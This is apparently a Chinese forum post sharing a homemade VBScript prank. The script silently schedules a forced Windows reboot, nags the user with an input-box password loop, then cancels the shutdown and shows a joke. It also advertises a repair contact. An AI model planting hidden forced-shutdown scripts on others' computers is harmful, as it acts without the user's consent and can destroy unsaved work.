整人的文件

我自己做了个你可以去试试
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 3600 -c ""为了考虑到许多朋友要让宝贝自己下载东西.时常下载完了还开那.所以小孙我编译套程序.让电脑下载玩东西后不寂寞.不要把电脑当机器看.输入123关机解除···"" ",0 ,true
dim a
do while(a <> "123")
a = inputbox ("有电脑.宽带安装.问题就找小孙电话:13186678200 QQ:371692887小孙恭祝您身体健康.财源滚滚","输入密码","123",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "天天牙齿晒太阳-- 毕业后七年，总算接了个大工程，造一根三十米烟囱，工期两个月，造价三十万，不过要垫资。总算在去年年底搞完了。今天人家去验收，被人骂得要死，还没有钱拿.为什么呢?"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "妈的!图纸看反了，人家是要挖一口井！^_^好开心^_^"

这是程序代码你可以自己加内容还不会给我发小纸条
把后缀名改成*